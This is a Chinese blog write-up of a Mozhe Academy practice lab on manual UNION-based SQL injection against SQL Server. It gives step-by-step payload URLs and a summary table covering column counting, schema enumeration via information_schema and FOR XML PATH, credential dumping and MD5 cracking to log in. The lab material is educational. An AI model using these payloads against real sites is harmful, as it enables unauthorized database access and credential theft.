墨者学院04 SQL手工注入漏洞测试(Sql Server数据库)

问题描述

题目链接:SQL手工注入漏洞测试(Sql Server数据库)​​​​​​

(●'◡'●)叒见面了,熟悉的页面,熟悉的用户登录框,熟悉的平台停机维护通知滚动链接~ 

墨者学院04 SQL手工注入漏洞测试(Sql Server数据库)_第1张图片

这些就是已知的条件啦~


解决方案:

参考1:11-Web安全—基于SQL Server的联合注入——for xml path_songly_的博客-CSDN博客

参考2:评论区corrot-X大佬的wp

工具:无

1 判断注入点

测试停机维护的网页是否存在注入点~

http://219.153.49.228:43828/new_list.asp?id=2 and 1=1

http://219.153.49.228:43828/new_list.asp?id=2 and 1=2

墨者学院04 SQL手工注入漏洞测试(Sql Server数据库)_第2张图片

 网页报错,这个就是明显的注入点啦~

2 判断字段数

其次,判断当前数据库的字段数(列数)~

http://219.153.49.228:43828/new_list.asp?id=2 order by 1

网页正常,说明order by 1是正确指令(此处id=1可更换为id=1 and 1=2,执行结果略有不同,但都能得出相同结论),我们换成2、3、4逐渐尝试,发现输出...

哎不对,order by 3为什么也是错误输出...这是个奸细嘛?不过order by 4确实是有输出的,说明至少是存在4个字段的~

墨者学院04 SQL手工注入漏洞测试(Sql Server数据库)_第3张图片

直到输入order by 5时,页面报错,说明语句执行失败,当前数据库的字段仅有4列~

 3 判断回显字段

本题中无法使用union select,只能使用union all select...

更让人讨厌的是"union all select 1,2,3,4"这种格式通常是不行的,因为1,2,3,4都是数字类型,而数据库通常各列是数字与字符混合的,数据类型不匹配也会导致报错~

此时通常输入null(可兼容数字与字符类型)推断回显的字段~(可参考:UNION 注入攻击)

嗯,4行一般是需要试4次可以出现结果(第1行全null不是必要的)~

http://219.153.49.228:44224/new_list.asp?id=2 and 1=2 union all select null,null,null,null

http://219.153.49.228:44224/new_list.asp?id=2 and 1=2 union all select 'a',null,null,null

http://219.153.49.228:44224/new_list.asp?id=2 and 1=2 union all select null,'b',null,null

http://219.153.49.228:44224/new_list.asp?id=2 and 1=2 union all select null,'b','c',null

http://219.153.49.228:44224/new_list.asp?id=2 and 1=2 union all select null,'b','c','d'

发现上述代码倒数第2行注入成功,倒数第1行注入失败~可知第2列,第3列是可回显的字段~

4 查询数据库名称

在字段2或3处输入 查询数据库名称的命令:db_name()~

http://219.153.49.228:44224/new_list.asp?id=2 and 1=2 union all select null,db_name(),'c',null

 执行结果,该数据库的名称为:mozhe_db_v2

5 查询数据库表名

在字段2或3处输入 查询数据库表名 的命令~

select quotename(table_name) from information_schema.tables for xml path('')

{在数字库表信息(information_schema.tables数据表保存了SQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,详见information_schema表)中查询所有数据表名(table_name,并以中括号形式(quotename()的作用是把每行查询结果用[ ]默认包裹起来)整合为一行输出(for xml path主要是用于把多行查询结果变为一行显示)~}

http://219.153.49.228:44224/new_list.asp?id=2 and 1=2 union all select null,(select quotename(table_name) from information_schema.tables for xml path('')),'c',null

输入结果如下图所示,表名有两个:(1)manage (2)announcement

6 查询字段名称

在字段2或3处输入 查询字段名 的命令~

select quotename(column_name) from information_schema.columns where table_name='manage' for xml path

{在所有数字库表信息(information_schema.columns)中查询数据表名'manage'(table_name='manage'),并以中括号形式(quotename())合并为一行(for xml path)输出其中的字段名称(column_name)~}

http://219.153.49.228:46159/new_list.asp?id=2 and 1=2 union all select null,(select quotename(column_name) from information_schema.columns where table_name='manage' for xml path),'c',null

输入结果如下图所示,字段名有三个:(1)id (2)username (3)password

7 查询字段内容

在字段2和3处输入 查询字段内容 的命令~

select 字段名 from 表名

http://219.153.49.228:46159/new_list.asp?id=2 and 1=2 union all select null,(select username from manage),(select password from manage),null

输出结果如下图所示~

账号:admin_mz

密码:72e1bfc3f01b7583(MD5加密)

8 md5解密

免费无注册解密网站:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

字符串解密结果:97285101

返回最初的登录页面,输入用户名:admin_mz、密码:97285101,登录结果如下图~

墨者学院04 SQL手工注入漏洞测试(Sql Server数据库)_第4张图片

 KEY:mozhe87ce23fa8f8d03b423a1eade9f5

总结:

(1)整个SQL server显错注入流程使用到以下语句~

语句 功能

and 1=1

and 1=2

判断注入点
order by 5 判断字段数
and 1=2 union all select null,null,null,null 判断回显字段
and 1=2 union all select null,db_name(),null,null 查询数据库名称
and 1=2 union all select null,(select quotename(table_name) from information_schema.tables for xml path('')),null,null 查询数据库表名
and 1=2 union all select null,(select quotename(column_name) from information_schema.columns where table_name='表名'for xml path),null,null  查询字段名称
and 1=2 union all select null,(select 字段名 from 表名),null,null 查询字段内容

(2)若对于SQL注入类题目有兴趣,也可移步这篇杂烩博文~CTF 总结03:SQL注入

码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)

你可能感兴趣的:(#,墨者学院,数据库,web安全,sql)